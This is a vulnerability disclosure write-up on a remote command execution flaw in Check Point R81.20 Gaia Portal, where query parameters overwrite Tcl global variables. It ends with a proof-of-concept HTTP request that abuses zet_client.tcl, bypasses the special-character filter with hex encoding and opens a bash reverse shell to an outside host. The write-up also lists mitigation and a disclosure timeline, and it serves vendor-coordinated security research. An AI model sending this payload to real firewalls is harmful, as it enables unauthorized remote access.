In Brief

The vulnerability is caused by incorrect implementation in the code, where global variables are not protected enough during the parsing of HTTP requests. By altering the intended values of these variables, the attacker can inject malicious code or commands into the application’s logic. When the application continues its execution, it may inadvertently execute the injected code due to the altered state of these variables.

Scenario

  • Analysed Product: Check Point R81.20 Gaia
  • Vulnerable Asset: Gaia Portal - Several parts of the code are exposed to this vulnerability
  • Prerequisites: No Special Configuration are required to exploit this vulnerability
  • Privileges Required: At least read only user

In Depth

Find low hunging-fruit

As I began my analysis on Gaia, I noticed an unusual error message: Gaia Portal recognized a non-valid username. This piqued my curiosity to investigate further, as I couldn’t see a logical connection between an incorrect username and a “special” character in the URL.

While searching for the error within the filesystem, I noticed that the string is located in: /usr/bin/ipstcl2.

/usr/bin/ipstcl2 Tcl interpreter

This led me to deduce that ipstcl2 is likely responsible for parsing and handling the HTTP request. The only thing left is to open it and let myself be guided by the tool that has caused me so much trouble.

The first step was to search for the error string, which, according to our trusty grep, should be present.

It is possible to see references to the string we are searching for, where 0806e0b8 is the memory address where the string is located. The parseQueryString function has two references to the string at addresses 0805e18b and 0805e4e2.

Inspecting all memory addresses where parseQueryString is called reveals that the caller is DoIPSO.

Our DoIPSO is found within the add_html_commands function, which in turn is located inside Cp_TclAppInit.

Read the functions

add_html_commands

The add_html_commands function is quite intuitive: it creates TCL commands that are registered within our interpreter. Each command is associated with a specific function, which will be executed when that command is invoked in the interpreter.

In Ghidra, for our DoIPSO function (as well as for DoMime), it doesn’t directly display a string (the function name); instead, we see a memory address.

We have now understood that ipso is a function present within /usr/bin/ipstcl2, registered through add_html_commands, and that it is responsible for parsing the HTTP request’s query string via parseQueryString.

graph TB;
    A[script.tcl] -->|contains| B[ipso function];
    B -->|defined in| C[ipstcl2];
    C -->|registered via| D[add_html_commands];
    D -->|callable in| A;
    B -->|calls| E[parseQueryString];
    E -->|parses| F[HTTP request parameter and value];

parseQueryString

call of parseQueryString in DoIPSO

The parseQueryString function takes three parameters, with pcVar4 being our query string.

The do-while loop begins by analyzing the query string, which is now stored in __s.

Within the loop, special characters %XX (URL encoding) are processed, while spaces (+) are decoded into " " and saved in the __ptr parameter.

This process continues for the parameter’s value until an & is found or the end of the string is reached, at which point the value is saved in local_25c.

At this point, the parameter and value are validated to check for any disallowed special characters using is_str_contain_special_char.

is_str_contain_special_char


This is what triggered the error we mentioned earlier

The only keys allowed to contain special characters are those listed in ALLOWED_KEYS_WITH_SPECIAL_CHARS. Specifically, in the script.tcl files, these keys are set within ALLOWED_KEYS_WITH_SPECIAL_CHARS as follows:

 set env(ALLOWED_KEYS_WITH_SPECIAL_CHARS) "password"

Subsequently, it is checked whether our parameter, saved in local_25c, contains any blacklisted command.

This can also be easily verified by:

The final part of parseQueryString is:

Where our parameters are exported with: export_vars() within the Tcl context, using: Tcl_SetVar().

As the official documentation: Tcl_SetVar() will set a new variable or modify an existing one.

TLDR

Let’s recap. What we’ve discussed so far is that within the Tcl scripts of our Gaia Portal, the ipso function, among other things, is responsible for parsing the HTTP request, exporting the parameters and their respective values into the Tcl context, so they can be used within the script.

%%{init: {'theme': 'dark', 'themeVariables': {'primaryColor': '#00bcd4', 'edgeLabelBackground':'#333333', 'edgeLabelColor':'#ffffff'}}}%%
graph TB;
    A[script.tcl] -->|contains| B[ipso function];
    B -->|defined in| C[ipstcl2];
    C -->|registered via| D[add_html_commands];
    D -->|callable in| A;
    B -->|calls| E[parseQueryString];
    E -->|parses| F[HTTP request parameter and value];
    F -->|handles special characters| G[is_str_contain_special_char];
    G -->|and checks blacklist| H[check_commands_black_list];
    H -->|finally| I[Tcl_SetVar];
    I -->|exports parameter and value in| A;

The idea

Let’s take this Tcl script as an example.

#!/usr/bin/isptcl2

source another.tcl
set parameter1 "pippo"

dmsg "parameter1 contains: $parameter1"
ipso
dmsg "parameter1 contains: $parameter1"

And let’s imagine making a request like /script.tcl?parameter1=pluto
If we execute this script, the behavior we would get is:

parameter1 contains pippo
parameter1 contains pluto

This is because the first value of the variable is the one declared in the script (“pippo”). However, after executing the ipso function, the value is overwritten by the parameter passed in our request (“pluto”).


Essentially, if the global variable used by the script is set before parsing the query string, the user will be able to effectively override them, thus altering the script's execution flow.

Searching for Evil

Now let’s see if what we’ve learned so far can be applied to the code in order to “take advantage” of it.

While inspecting the files, my attention was drawn to: zet_client.tcl.

At this point, it’s easy to understand that we’ve found the perfect candidate for what we’re aiming to do. The variables zetClient and zetSetLaunch are declared before our ipso, and based on the values they contain, we are more than certain that they will be used to execute the executables ZetClientCli and zetc_setlaunch.

Below, for illustrative purposes only, the script has been modified, and the value of the zetSetLaunch parameter is printed within the debug file both before and after executing the ipso command.

When the code accesses the $zetSetLaunch parameter, its value will be the one specified by the user within the HTTP request.

Let’s perform the real check to confirm or overturn the result…

Find the reverse shell

In Tcl, the list line 69 command is used to create a list where each argument is treated as a literal value. By utilizing the different way Tcl shell handles commands and arguments, and leveraging parameter expansion with the list command through eval , it becomes possible to bypass various checks and invoke any command with an indefinite number of arguments.

This can be easily demonstrated in this way:

What happens in the first image is that adding the space after -c the command is expanded as:

exec /usr/bin/python3 "-c print(\"ciao\")"

In this case, Python is being instructed to execute the code print("hello") directly from the command line. However, Python is receiving not only print("hello") as input, but also a leading empty space before the command. This empty space is interpreted as unintended indentation within the provided code, causing the indentation error.

So, as visible in the second image, it’s possible to workaround this behavior by passing the string without any spaces:
-cprint(\"hello\").
Additionally, it’s important to note that the string hello, encoded in hexadecimal, \x68\x65\x6c\x6c\x6f is correctly interpreted by the tcl shell. This allows bypassing the check performed on special characters by the is_str_contain_special_char() function during parseQueryString().

Important

Combining what was mentioned earlier, it is possible to bypass the limitations imposed by the implementation of tcl script regarding the execution of only a single system command with a single argument, as well as the verification of special characters.

For example, the following HTTP request demonstrates how it’s possible to invoke the bash shell through python3 and successfully execute a reverse shell.

Proof Of Concept

GET /_2c443032f3ebf6bfdc439233fb260c6d/cgi-bin/zet_client.tcl?zetSetLaunch=/../../../../usr/bin/python3&setlaunch=-cimport+subprocess%0asubprocess.run(["bash","-c","bash+-i+\x3e\x26+/dev/tcp/172.17.0.1/4242+0\x3e\x261"]) HTTP/1.1
Host: 192.168.33.131
Cookie: Session=_054d26727b99c793e2d2dfa5593061ea
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: Close
 

Mitigation

To mitigate this vulnerability, promptly install the hotfixes released by Check Point. For detailed instructions and downloads, please refer to the official guidance: https://support.checkpoint.com/results/sk/sk182743

TimeLine

  • July 2024: Vulnerability identified
  • Monday, July 15, 2024: Vulnerability reported to the Check Point team
  • Tuesday, July 16, 2024: Vulnerability confirmed by Check Point
  • Wednesday, September 25, 2024: Status update provided by Check Point
  • Wednesday, November 13, 2024: Check Point announces CVE publication and mitigations
  • Friday, November 15, 2024: Publication of This Note

Reference